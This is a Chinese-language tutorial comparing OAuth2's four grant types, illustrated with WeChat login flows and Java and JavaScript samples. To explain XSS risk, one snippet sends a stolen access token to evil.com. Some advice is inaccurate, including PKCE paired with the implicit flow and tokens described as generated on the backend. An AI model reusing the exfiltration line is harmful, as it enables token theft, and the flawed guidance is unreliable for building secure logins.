Skip to content

OAuth2 ​

本文解释OAuth2的四种授权模式。并以微信登录为例,说明每种模式的适用场景。

OAuth2 四种授权模式 ​

四种模式概览 ​

模式适用场景安全性复杂度
授权码模式有后端的 Web 应用⭐⭐⭐⭐⭐中等
隐式模式纯前端应用⭐⭐简单
密码模式受信任的第一方应用⭐⭐⭐简单
客户端凭证模式机器对机器通信⭐⭐⭐⭐简单

授权码模式详解 ​

完整流程 ​

用户                前端应用            后端服务器          微信服务器
 │                   │                    │                    │
 │  1. 点击登录       │                    │                    │
 ├──────────────────>│                    │                    │
 │                   │                    │                    │
 │                   │  2. 生成 state     │                    │
 │                   │  存储在 Session    │                    │
 │                   │                    │                    │
 │  3. 重定向到授权页 │                    │                    │
 │<──────────────────┤                    │                    │
 │                   │                    │                    │
 │  4. 用户扫码确认   │                    │                    │
 ├──────────────────────────────────────────────────────────────>│
 │                   │                    │                    │
 │  5. 回调带 code   │                    │                    │
 │<──────────────────────────────────────────────────────────────┤
 │                   │                    │                    │
 │                   │  6. 发送 code      │                    │
 │                   ├───────────────────>│                    │
 │                   │                    │                    │
 │                   │                    │  7. 验证 state     │
 │                   │                    ├───────────────────┤
 │                   │                    │                    │
 │                   │                    │  8. 用 code 换 token
 │                   │                    ├───────────────────────────────────>
 │                   │                    │                    │
 │                   │                    │  9. 返回 access_token
 │                   │                    │<───────────────────────────────────┤
 │                   │                    │                    │
 │                   │                    │  10. 获取用户信息   │
 │                   │                    ├───────────────────────────────────>
 │                   │                    │                    │
 │                   │                    │  11. 返回用户信息   │
 │                   │                    │<───────────────────────────────────┤
 │                   │                    │                    │
 │                   │  12. 创建会话      │                    │
 │                   │<───────────────────┤                    │
 │                   │                    │                    │
 │  13. 登录成功     │                    │                    │
 │<──────────────────┤                    │                    │

请求示例 ​

步骤 1-3:发起授权请求 ​

GET https://open.weixin.qq.com/connect/qrconnect?
    appid=wx1234567890&
    redirect_uri=http://example.com/callback&
    response_type=code&          ← 固定值:code
    scope=snsapi_login&
    state=abc123

步骤 5:接收回调 ​

GET http://example.com/callback?
    code=AUTHORIZATION_CODE&     ← 授权码
    state=abc123

步骤 8:使用 code 换取 token ​

POST https://api.weixin.qq.com/sns/oauth2/access_token?
    appid=wx1234567890&
    secret=secret123456&         ← 客户端密钥(保密)
    code=AUTHORIZATION_CODE&
    grant_type=authorization_code

响应:

json
{
    "access_token": "ACCESS_TOKEN",
    "expires_in": 7200,
    "refresh_token": "REFRESH_TOKEN",
    "openid": "OPENID",
    "scope": "snsapi_login"
}

步骤 10:获取用户信息 ​

GET https://api.weixin.qq.com/sns/userinfo?
    access_token=ACCESS_TOKEN&
    openid=OPENID

安全机制 ​

✅ 优点 ​

  1. 双重验证

    • 前端:验证 state(防 CSRF)
    • 后端:验证 code(防重放)
  2. 密钥保护

    • client_secret 只在后端使用
    • 用户永远看不到密钥
  3. Token 安全

    • access_token 在后端生成
    • 用户无法直接访问 token
  4. 支持刷新

    • 提供 refresh_token
    • 可以长期维持登录状态

⚠️ 注意事项 ​

java
// 1. 验证 state
String storedState = session.getAttribute("oauth_state");
if (!requestState.equals(storedState)) {
    throw new SecurityException("Invalid state");
}

// 2. 删除已使用的 state(防重放)
session.removeAttribute("oauth_state");

// 3. 验证 code(只能使用一次)
if (redisTemplate.hasKey("used_code:" + code)) {
    throw new SecurityException("Code already used");
}

// 4. 标记 code 已使用
redisTemplate.opsForValue().set(
    "used_code:" + code, 
    "used", 
    5, 
    TimeUnit.MINUTES
);

隐式模式(简略模式)详解 ​

完整流程 ​

用户                前端应用                              微信服务器
 │                   │                                        │
 │  1. 点击登录       │                                        │
 ├──────────────────>│                                        │
 │                   │                                        │
 │                   │  2. 生成 state                         │
 │                   │  存储在 localStorage                   │
 │                   │                                        │
 │  3. 重定向到授权页 │                                        │
 │<──────────────────┤                                        │
 │                   │                                        │
 │  4. 用户扫码确认   │                                        │
 ├────────────────────────────────────────────────────────────>│
 │                   │                                        │
 │  5. 回调带 token(在 URL fragment 中)                     │
 │<────────────────────────────────────────────────────────────┤
 │                   │                                        │
 │                   │  6. 提取 access_token                  │
 │                   │  从 window.location.hash 中提取        │
 │                   │                                        │
 │                   │  7. 直接请求用户信息                    │
 │                   ├────────────────────────────────────────>│
 │                   │                                        │
 │                   │  8. 返回用户信息                        │
 │                   │<────────────────────────────────────────┤
 │                   │                                        │
 │  9. 登录成功       │                                        │
 │<──────────────────┤                                        │

请求示例 ​

步骤 1-3:发起授权请求 ​

GET https://open.weixin.qq.com/connect/qrconnect?
    appid=wx1234567890&
    redirect_uri=http://example.com/callback&
    response_type=token&          ← 固定值:token
    scope=snsapi_login&
    state=abc123

步骤 5:接收回调 ​

HTTP/1.1 302 Found
Location: http://example.com/callback#access_token=ACCESS_TOKEN&expires_in=7200&state=abc123

注意:

  • Token 在 URL fragment(# 后面)
  • 不会发送到服务器
  • 只能通过 JavaScript 访问

步骤 6:提取 token ​

javascript
// 从 URL fragment 中提取参数
const hash = window.location.hash.substring(1); // 去掉 #
const params = new URLSearchParams(hash);

const accessToken = params.get('access_token');
const expiresIn = params.get('expires_in');
const state = params.get('state');

// 验证 state
const storedState = localStorage.getItem('oauth_state');
if (state !== storedState) {
    throw new Error('Invalid state');
}

// 存储 token(注意:不安全!)
localStorage.setItem('access_token', accessToken);

步骤 7:直接请求用户信息 ​

javascript
// 直接从前端请求用户信息
fetch(`https://api.weixin.qq.com/sns/userinfo?access_token=${accessToken}&openid=OPENID`)
    .then(response => response.json())
    .then(userInfo => {
        console.log('用户信息:', userInfo);
        // 显示用户信息
    });

安全问题 ​

❌ 缺点 ​

  1. Token 泄露风险

    javascript
    // Token 暴露在 URL 中
    http://example.com/callback#access_token=ACCESS_TOKEN
    
    // 用户可以看到
    // 浏览器历史记录会保存
    // 恶意脚本可以读取
  2. 无法保密

    javascript
    // 没有 client_secret
    // 任何人都可以使用你的 appid 获取 token
  3. 不支持刷新

    javascript
    // 没有 refresh_token
    // Token 过期后必须重新登录
  4. XSS 攻击风险

    javascript
    // 如果网站有 XSS 漏洞
    // 攻击者可以窃取 access_token
    <script>
        // 恶意脚本
        const token = localStorage.getItem('access_token');
        fetch('http://evil.com/steal?token=' + token);
    </script>

⚠️ 安全建议 ​

javascript
// 1. 使用短期 token
// 隐式模式的 token 有效期应该很短(如 1 小时)

// 2. 不要存储敏感信息
// 不要用 localStorage 存储 token(使用 sessionStorage)

// 3. 验证 state
const storedState = sessionStorage.getItem('oauth_state');
if (state !== storedState) {
    throw new Error('Invalid state');
}

// 4. 使用 PKCE(Proof Key for Code Exchange)
// 即使使用隐式模式,也应该使用 PKCE 增强安全性
const codeVerifier = generateRandomString();
const codeChallenge = sha256(codeVerifier);

// 在授权请求中包含 code_challenge
const authUrl = `https://open.weixin.qq.com/connect/qrconnect?
    appid=${appid}&
    redirect_uri=${redirectUri}&
    response_type=token&
    scope=snsapi_login&
    state=${state}&
    code_challenge=${codeChallenge}&
    code_challenge_method=S256`;

密码模式详解 ​

完整流程 ​

用户                前端应用            后端服务器          授权服务器
 │                   │                    │                    │
 │  1. 输入用户名密码 │                    │                    │
 ├──────────────────>│                    │                    │
 │                   │                    │                    │
 │                   │  2. 发送用户名密码  │                    │
 │                   ├───────────────────>│                    │
 │                   │                    │                    │
 │                   │                    │  3. 验证用户身份    │
 │                   │                    ├───────────────────┤
 │                   │                    │                    │
 │                   │                    │  4. 请求 token      │
 │                   │                    ├───────────────────────────────────>
 │                   │                    │                    │
 │                   │                    │  5. 返回 access_token
 │                   │                    │<───────────────────────────────────┤
 │                   │                    │                    │
 │                   │  6. 返回 token      │                    │
 │                   │<───────────────────┤                    │
 │                   │                    │                    │
 │  7. 登录成功       │                    │                    │
 │<──────────────────┤                    │                    │

请求示例 ​

步骤 1-2:用户输入凭证 ​

html
<form action="/login" method="post">
    <input type="text" name="username" placeholder="用户名">
    <input type="password" name="password" placeholder="密码">
    <button type="submit">登录</button>
</form>

步骤 4:请求 token ​

POST https://api.example.com/oauth2/token?
    grant_type=password&
    username=user@example.com&
    password=user_password&
    client_id=client123&
    scope=read write

响应:

json
{
    "access_token": "ACCESS_TOKEN",
    "expires_in": 3600,
    "refresh_token": "REFRESH_TOKEN",
    "scope": "read write"
}

安全机制 ​

✅ 优点 ​

  1. 简单直接

    • 用户直接输入凭证
    • 无需跳转授权页面
    • 流程简单
  2. 适合第一方应用

    • 官方应用
    • 受信任的应用
    • 用户愿意提供凭证

❌ 缺点 ​

  1. 凭证泄露风险

    java
    // 用户名密码暴露给应用
    String username = request.getParameter("username");
    String password = request.getParameter("password");
    
    // 应用可以看到用户的真实密码
    // 如果应用不可信,密码可能被窃取
  2. 无法撤销

    java
    // 用户无法单独撤销某个应用的权限
    // 只能修改密码
  3. 权限范围有限

    java
    // 无法限制应用的权限范围
    // 应用获得用户的所有权限

适用场景 ​

密码模式适用场景:
┌─────────────────────────────────────┐
│ 1. 官方应用                         │
│    - 官方移动 App                   │
│    - 官方桌面应用                   │
│    - 官方网站                       │
├─────────────────────────────────────┤
│ 2. 受信任的第一方应用               │
│    - 用户信任的应用                 │
│    - 同一公司的产品                 │
│    - 内部系统                       │
├─────────────────────────────────────┤
│ 3. 传统系统迁移                     │
│    - 从传统登录迁移到 OAuth2        │
│    - 保持用户体验一致               │
│    - 逐步升级                       │
└─────────────────────────────────────┘

实际案例 ​

案例:官方移动应用登录 ​

java
@RestController
public class PasswordLoginController {
    
    @PostMapping("/login")
    public Map<String, Object> login(
        @RequestParam String username,
        @RequestParam String password
    ) {
        // 1. 验证用户凭证
        User user = userService.authenticate(username, password);
        if (user == null) {
            throw new AuthenticationException("Invalid credentials");
        }
        
        // 2. 请求授权服务器
        String tokenUrl = "https://api.example.com/oauth2/token";
        Map<String, String> params = new HashMap<>();
        params.put("grant_type", "password");
        params.put("username", username);
        params.put("password", password);
        params.put("client_id", "official_app");
        params.put("scope", "read write");
        
        JSONObject tokenInfo = httpClient.post(tokenUrl, params);
        
        // 3. 返回 token
        Map<String, Object> result = new HashMap<>();
        result.put("access_token", tokenInfo.getString("access_token"));
        result.put("expires_in", tokenInfo.getInteger("expires_in"));
        result.put("refresh_token", tokenInfo.getString("refresh_token"));
        
        return result;
    }
}

客户端凭证模式详解 ​

完整流程 ​

客户端应用                              授权服务器
     │                                       │
     │  1. 请求 access_token                 │
     │     (使用 client_id + client_secret)  │
     ├───────────────────────────────────────>│
     │                                       │
     │  2. 验证 client 凭证                   │
     │                                       ├───────────┐
     │                                       │           │
     │                                       │<──────────┘
     │                                       │
     │  3. 返回 access_token                 │
     │<───────────────────────────────────────┤
     │                                       │
     │  4. 使用 token 访问资源                │
     ├───────────────────────────────────────>│
     │                                       │
     │  5. 返回资源数据                       │
     │<───────────────────────────────────────┤

请求示例 ​

步骤 1:请求 token ​

POST https://api.example.com/oauth2/token?
    grant_type=client_credentials&
    client_id=client123&
    client_secret=secret456&
    scope=api:read api:write

响应:

json
{
    "access_token": "ACCESS_TOKEN",
    "expires_in": 3600,
    "token_type": "Bearer",
    "scope": "api:read api:write"
}

使用 token 访问资源 ​

bash
curl -H "Authorization: Bearer ACCESS_TOKEN" \
     https://api.example.com/api/data

5.3 安全机制 ​

✅ 优点 ​

  1. 无需用户参与

    java
    // 不需要用户登录
    // 完全自动化
    String tokenUrl = "https://api.example.com/oauth2/token";
    
    Map<String, String> params = new HashMap<>();
    params.put("grant_type", "client_credentials");
    params.put("client_id", clientId);
    params.put("client_secret", clientSecret);
    
    JSONObject tokenInfo = httpClient.post(tokenUrl, params);
  2. 适合机器对机器通信

    后端服务 A → 授权服务器 → 后端服务 B
    (获取 token)              (使用 token)
  3. 安全性较高

    java
    // client_secret 只在服务端使用
    // 不会暴露给用户
    // 适合后端服务

❌ 缺点 ​

  1. 无用户上下文

    java
    // Token 不代表特定用户
    // 只代表客户端应用
    // 无法获取用户特定信息
  2. 权限范围有限

    java
    // 只能访问客户端级别的资源
    // 无法访问用户私有资源
    // 权限由客户端决定
  3. 不支持 refresh_token

    java
    // 客户端凭证模式不返回 refresh_token
    // Token 过期后需要重新请求
    // 需要实现自动刷新机制

适用场景 ​

客户端凭证模式适用场景:
┌─────────────────────────────────────┐
│ 1. 微服务通信                       │
│    - 服务 A 调用服务 B              │
│    - 后端服务之间的 API 调用        │
│    - 无需用户参与                   │
├─────────────────────────────────────┤
│ 2. 定时任务                         │
│    - 后台数据同步                   │
│    - 定期报表生成                   │
│    - 自动化脚本                     │
├─────────────────────────────────────┤
│ 3. 系统级操作                       │
│    - 管理员操作                     │
│    - 系统监控                       │
│    - 批量数据处理                   │
├─────────────────────────────────────┤
│ 4. 第三方服务集成                   │
│    - 支付网关                       │
│    - 短信服务                       │
│    - 邮件服务                       │
└─────────────────────────────────────┘

实际案例 ​

案例 1:微服务通信 ​

java
@Service
public class PaymentService {
    
    private String accessToken;
    private long tokenExpireTime;
    
    /**
     * 获取 access_token
     */
    private String getAccessToken() {
        // 检查 token 是否过期
        if (accessToken != null && System.currentTimeMillis() < tokenExpireTime) {
            return accessToken;
        }
        
        // 请求新 token
        String tokenUrl = "https://api.example.com/oauth2/token";
        Map<String, String> params = new HashMap<>();
        params.put("grant_type", "client_credentials");
        params.put("client_id", "payment_service");
        params.put("client_secret", "payment_secret");
        params.put("scope", "payment:process");
        
        JSONObject tokenInfo = httpClient.post(tokenUrl, params);
        accessToken = tokenInfo.getString("access_token");
        tokenExpireTime = System.currentTimeMillis() + 
                          tokenInfo.getInteger("expires_in") * 1000;
        
        return accessToken;
    }
    
    /**
     * 处理支付
     */
    public PaymentResult processPayment(PaymentRequest request) {
        String token = getAccessToken();
        
        // 调用支付网关
        HttpHeaders headers = new HttpHeaders();
        headers.setBearerAuth(token);
        
        HttpEntity<PaymentRequest> entity = new HttpEntity<>(request, headers);
        ResponseEntity<PaymentResult> response = restTemplate.postForEntity(
            "https://payment-gateway.com/api/process",
            entity,
            PaymentResult.class
        );
        
        return response.getBody();
    }
}

案例 2:定时任务 ​

java
@Component
public class DataSyncTask {
    
    @Autowired
    private OAuth2Client oAuth2Client;
    
    @Scheduled(cron = "0 0 2 * * ?") // 每天凌晨 2 点执行
    public void syncUserData() {
        // 1. 获取 access_token
        String accessToken = oAuth2Client.getClientCredentialsToken(
            "data_sync_service",
            "sync_secret",
            "user:read user:sync"
        );
        
        // 2. 调用用户服务 API
        HttpHeaders headers = new HttpHeaders();
        headers.setBearerAuth(accessToken);
        
        HttpEntity<?> entity = new HttpEntity<>(headers);
        ResponseEntity<List<User>> response = restTemplate.exchange(
            "https://user-service.com/api/users",
            HttpMethod.GET,
            entity,
            new ParameterizedTypeReference<List<User>>() {}
        );
        
        List<User> users = response.getBody();
        
        // 3. 同步数据
        for (User user : users) {
            syncUserToThirdParty(user);
        }
    }
    
    private void syncUserToThirdParty(User user) {
        // 同步用户数据到第三方系统
    }
}

案例 3:系统监控 ​

java
@RestController
public class SystemMonitorController {
    
    @GetMapping("/api/system/stats")
    public SystemStats getSystemStats() {
        // 使用客户端凭证模式获取系统级数据
        String accessToken = getSystemAccessToken();
        
        // 调用各个微服务获取状态
        SystemStats stats = new SystemStats();
        stats.setUserServiceStatus(checkServiceStatus(accessToken, "user-service"));
        stats.setPaymentServiceStatus(checkServiceStatus(accessToken, "payment-service"));
        stats.setOrderServiceStatus(checkServiceStatus(accessToken, "order-service"));
        
        return stats;
    }
    
    private String getSystemAccessToken() {
        String tokenUrl = "https://auth-server.com/oauth2/token";
        Map<String, String> params = new HashMap<>();
        params.put("grant_type", "client_credentials");
        params.put("client_id", "system_monitor");
        params.put("client_secret", "monitor_secret");
        params.put("scope", "system:monitor");
        
        JSONObject tokenInfo = httpClient.post(tokenUrl, params);
        return tokenInfo.getString("access_token");
    }
    
    private ServiceStatus checkServiceStatus(String token, String serviceName) {
        HttpHeaders headers = new HttpHeaders();
        headers.setBearerAuth(token);
        
        HttpEntity<?> entity = new HttpEntity<>(headers);
        ResponseEntity<ServiceStatus> response = restTemplate.exchange(
            "https://" + serviceName + "/health",
            HttpMethod.GET,
            entity,
            ServiceStatus.class
        );
        
        return response.getBody();
    }
}

四种模式对比 ​

核心区别 ​

特性授权码模式隐式模式密码模式客户端凭证模式
中间凭证code无无无
Token 生成位置后端服务器授权服务器授权服务器授权服务器
Token 传递方式HTTP ResponseURL FragmentHTTP ResponseHTTP Response
是否需要后端✅ 需要❌ 不需要✅ 需要✅ 需要
client_secret✅ 需要❌ 不需要❌ 不需要✅ 需要
用户凭证❌ 不需要❌ 不需要✅ 需要❌ 不需要
refresh_token✅ 支持❌ 不支持✅ 支持❌ 不支持
用户上下文✅ 有✅ 有✅ 有❌ 无
安全性⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
适用场景Web 应用纯前端应用官方应用微服务通信

流程对比 ​

授权码模式 ​

用户 → 前端 → 授权服务器 → 前端 → 后端 → 授权服务器 → 后端 → 前端
      (1)      (2)          (3)    (4)    (5)          (6)    (7)
      
1. 前端重定向到授权服务器
2. 用户同意授权,返回 code
3. 前端将 code 发送给后端
4. 后端使用 code + secret 换取 token
5. 授权服务器返回 token
6. 后端使用 token 获取用户信息
7. 后端创建会话,返回给前端

隐式模式 ​

用户 → 前端 → 授权服务器 → 前端 → 授权服务器 → 前端
      (1)      (2)          (3)    (4)          (5)
      
1. 前端重定向到授权服务器
2. 用户同意授权,直接返回 token
3. 前端从 URL fragment 提取 token
4. 前端直接使用 token 请求用户信息
5. 授权服务器返回用户信息

密码模式 ​

用户 → 前端 → 后端 → 授权服务器 → 后端 → 前端
      (1)    (2)    (3)          (4)    (5)
      
1. 用户输入用户名密码
2. 前端将凭证发送给后端
3. 后端使用凭证 + client_id 换取 token
4. 授权服务器返回 token
5. 后端创建会话,返回给前端

客户端凭证模式 ​

后端服务 → 授权服务器 → 后端服务 → 资源服务器 → 后端服务
   (1)        (2)          (3)        (4)          (5)
      
1. 后端服务使用 client_id + client_secret 请求 token
2. 授权服务器返回 token
3. 后端服务使用 token 访问资源
4. 资源服务器返回数据
5. 后端服务处理数据

安全性对比 ​

授权码模式的安全机制 ​

java
// 1. State 验证(防 CSRF)
String state = UUID.randomUUID().toString();
session.setAttribute("oauth_state", state);

// 回调时验证
String storedState = (String) session.getAttribute("oauth_state");
if (!requestState.equals(storedState)) {
    throw new SecurityException("Invalid state");
}

// 2. Code 一次性使用(防重放)
if (redisTemplate.hasKey("used_code:" + code)) {
    throw new SecurityException("Code already used");
}
redisTemplate.opsForValue().set("used_code:" + code, "used", 5, TimeUnit.MINUTES);

// 3. Client Secret 验证(防冒充)
// 只有知道 secret 的应用才能换取 token
String tokenUrl = "https://api.weixin.qq.com/sns/oauth2/access_token?" +
    "appid=" + appid +
    "&secret=" + secret +  // 只有后端知道
    "&code=" + code +
    "&grant_type=authorization_code";

// 4. Token 不暴露给前端
// Token 只存在于后端,前端只知道 session id

隐式模式的安全缺陷 ​

javascript
// 1. Token 暴露在 URL 中
// http://example.com/callback#access_token=xxx
// 用户可以看到,浏览器历史记录会保存

// 2. 没有 client_secret
// 任何人都可以使用你的 appid

// 3. XSS 攻击风险
// 如果网站有 XSS 漏洞,token 可能被窃取
<script>
    // 恶意脚本
    const token = getAccessTokenFromURL();
    sendToAttacker(token);
</script>

// 4. 无法撤销
// 没有 refresh_token,无法主动撤销

密码模式的安全机制 ​

java
// 1. 用户凭证保护
// 只在受信任的应用中使用
// 不要在第三方应用中使用

// 2. 传输加密
// 必须使用 HTTPS
// 防止凭证被窃取

// 3. 凭证验证
User user = userService.authenticate(username, password);
if (user == null) {
    throw new AuthenticationException("Invalid credentials");
}

// 4. 权限控制
// 只授予必要的权限
params.put("scope", "read write"); // 限制权限范围

客户端凭证模式的安全机制 ​

java
// 1. Client Secret 保护
// 只在后端使用,不暴露给前端
params.put("client_secret", clientSecret);

// 2. 权限隔离
// 只授予客户端级别的权限
params.put("scope", "api:read api:write");

// 3. Token 缓存
// 缓存 token,减少请求次数
if (accessToken != null && System.currentTimeMillis() < tokenExpireTime) {
    return accessToken;
}

// 4. 自动刷新
// Token 过期前自动刷新
tokenExpireTime = System.currentTimeMillis() + expiresIn * 1000;

为什么微信选择授权码模式? ​

安全性考虑 ​

授权码模式的安全性:
┌─────────────────────────────────────┐
│ 1. Code 作为一次性凭证               │
│    - 有效期短(5 分钟)              │
│    - 只能使用一次                    │
│    - 不包含敏感信息                  │
├─────────────────────────────────────┤
│ 2. Client Secret 保护                │
│    - 只在后端使用                    │
│    - 用户永远看不到                  │
│    - 防止应用被冒充                  │
├─────────────────────────────────────┤
│ 3. Token 不暴露                     │
│    - 在后端生成                      │
│    - 前端只知道 session id          │
│    - 防止 token 被窃取              │
├─────────────────────────────────────┤
│ 4. 支持长期登录                      │
│    - 提供 refresh_token             │
│    - 可以刷新 access_token          │
│    - 用户无需频繁登录                │
└─────────────────────────────────────┘

业务需求 ​

微信登录的业务需求:
┌─────────────────────────────────────┐
│ 1. 网站应用(有后端)                │
│    - 需要存储用户信息               │
│    - 需要管理用户会话               │
│    - 需要调用微信 API               │
├─────────────────────────────────────┤
│ 2. 安全性要求高                     │
│    - 保护用户隐私                   │
│    - 防止账号被盗                   │
│    - 防止应用被冒充                 │
├─────────────────────────────────────┤
│ 3. 长期登录需求                     │
│    - 用户不希望频繁登录             │
│    - 需要 refresh_token            │
│    - 需要自动刷新 token            │
└─────────────────────────────────────┘

四种模式的适用场景 ​

适用场景 ​

隐式模式适合以下场景:

1. 纯前端应用
   - 静态网站
   - 单页应用(SPA)
   - 移动应用(无后端)

2. 临时访问
   - 一次性授权
   - 短期访问
   - 不需要长期登录

3. 低安全要求
   - 公开信息
   - 非敏感操作
   - 用户可接受的风险

实际案例 ​

案例 1:静态网站登录 ​

html
<!DOCTYPE html>
<html>
<head>
    <title>静态网站登录</title>
</head>
<body>
    <button onclick="login()">微信登录</button>
    
    <script>
        function login() {
            // 生成 state
            const state = Math.random().toString(36).substring(7);
            sessionStorage.setItem('oauth_state', state);
            
            // 重定向到微信授权页面
            const authUrl = `https://open.weixin.qq.com/connect/qrconnect?
                appid=${appid}&
                redirect_uri=${encodeURIComponent(redirectUri)}&
                response_type=token&
                scope=snsapi_login&
                state=${state}`;
            
            window.location.href = authUrl;
        }
        
        // 处理回调
        window.onload = function() {
            if (window.location.hash) {
                const hash = window.location.hash.substring(1);
                const params = new URLSearchParams(hash);
                
                const accessToken = params.get('access_token');
                const state = params.get('state');
                
                // 验证 state
                const storedState = sessionStorage.getItem('oauth_state');
                if (state !== storedState) {
                    alert('安全验证失败');
                    return;
                }
                
                // 获取用户信息
                fetch(`https://api.weixin.qq.com/sns/userinfo?access_token=${accessToken}`)
                    .then(response => response.json())
                    .then(userInfo => {
                        console.log('用户信息:', userInfo);
                        // 显示用户信息
                    });
            }
        };
    </script>
</body>
</html>

案例 2:移动应用(无后端) ​

javascript
// React Native 示例
import { Linking } from 'react-native';

class WeChatLogin {
    async login() {
        // 生成 state
        const state = this.generateState();
        await AsyncStorage.setItem('oauth_state', state);
        
        // 构造授权 URL
        const authUrl = `https://open.weixin.qq.com/connect/qrconnect?
            appid=${APPID}&
            redirect_uri=${encodeURIComponent(REDIRECT_URI)}&
            response_type=token&
            scope=snsapi_login&
            state=${state}`;
        
        // 打开微信
        Linking.openURL(authUrl);
    }
    
    async handleCallback(url) {
        // 解析回调 URL
        const hash = url.split('#')[1];
        const params = new URLSearchParams(hash);
        
        const accessToken = params.get('access_token');
        const state = params.get('state');
        
        // 验证 state
        const storedState = await AsyncStorage.getItem('oauth_state');
        if (state !== storedState) {
            throw new Error('Invalid state');
        }
        
        // 获取用户信息
        const userInfo = await this.getUserInfo(accessToken);
        return userInfo;
    }
}

最佳实践 ​

授权码模式最佳实践 ​

java
// 1. 使用 HTTPS
// 所有请求必须使用 HTTPS

// 2. 验证 state
String state = UUID.randomUUID().toString();
session.setAttribute("oauth_state", state);

// 3. 使用 PKCE(增强安全性)
String codeVerifier = generateRandomString();
String codeChallenge = sha256(codeVerifier);
session.setAttribute("code_verifier", codeVerifier);

// 4. 限制 scope
// 只请求必要的权限

// 5. 存储 refresh_token
redisTemplate.opsForValue().set(
    "refresh_token:" + openid,
    refreshToken,
    30,
    TimeUnit.DAYS
);

// 6. 定期刷新 token
@Scheduled(fixedRate = 3600000) // 每小时
public void refreshTokens() {
    // 刷新即将过期的 token
}

隐式模式最佳实践 ​

javascript
// 1. 使用短期 token
// Token 有效期不超过 1 小时

// 2. 使用 sessionStorage(不是 localStorage)
sessionStorage.setItem('access_token', accessToken);

// 3. 验证 state
const storedState = sessionStorage.getItem('oauth_state');
if (state !== storedState) {
    throw new Error('Invalid state');
}

// 4. 使用 PKCE
const codeVerifier = generateRandomString();
const codeChallenge = sha256(codeVerifier);

// 5. 及时清除 token
setTimeout(() => {
    sessionStorage.removeItem('access_token');
}, expiresIn * 1000);

// 6. 不要在 URL 中传递敏感信息
// 使用 POST 请求(如果可能)

总结 ​

选择建议 ​

┌─────────────────────────────────────────────┐
│          如何选择授权模式?                  │
├─────────────────────────────────────────────┤
│                                             │
│  有后端服务器?                             │
│     │                                       │
│     ├─ YES → 需要用户授权?                │
│     │           │                           │
│     │           ├─ YES → 使用授权码模式 ✅  │
│     │           │                           │
│     │           └─ NO → 使用客户端凭证模式 ✅
│     │                                       │
│     └─ NO → 纯前端应用?                    │
│               │                             │
│               ├─ YES → 使用隐式模式 ⚠️      │
│               │         (注意安全)        │
│               │                             │
│               └─ NO → 考虑添加后端          │
│                         或使用第三方服务    │
│                                             │
│  是否是官方应用?                           │
│     │                                       │
│     ├─ YES → 可以考虑密码模式 ⚠️           │
│     │         (仅在用户信任时)           │
│     │                                       │
│     └─ NO → 不要使用密码模式 ❌            │
│                                             │
└─────────────────────────────────────────────┘

安全性等级 ​

授权码模式:⭐⭐⭐⭐⭐
├─ State 验证
├─ Client Secret 保护
├─ Token 不暴露
└─ 支持 refresh_token

客户端凭证模式:⭐⭐⭐⭐
├─ Client Secret 保护
├─ Token 不暴露
├─ 无用户上下文
└─ 不支持 refresh_token

密码模式:⭐⭐⭐
├─ 用户凭证暴露
├─ 只适合受信任应用
├─ 支持 refresh_token
└─ 无法单独撤销

隐式模式:⭐⭐
├─ Token 暴露在 URL
├─ 无 Client Secret
├─ 不支持 refresh_token
└─ XSS 攻击风险

建议:
- 生产环境:优先使用授权码模式
- 微服务通信:使用客户端凭证模式
- 官方应用:可以使用密码模式(谨慎)
- 纯前端应用:使用隐式模式(注意安全)
- 敏感操作:必须使用授权码模式

使用场景总结 ​

场景推荐模式原因
第三方网站登录授权码模式安全性高,用户信任
移动应用登录授权码模式安全性高,支持刷新
单页应用(SPA)隐式模式无需后端,简单实现
官方移动应用密码模式用户信任,体验好
微服务通信客户端凭证模式无需用户,自动化
定时任务客户端凭证模式无需用户,自动化
系统监控客户端凭证模式无需用户,自动化
支付网关客户端凭证模式安全性高,自动化

参考资料 ​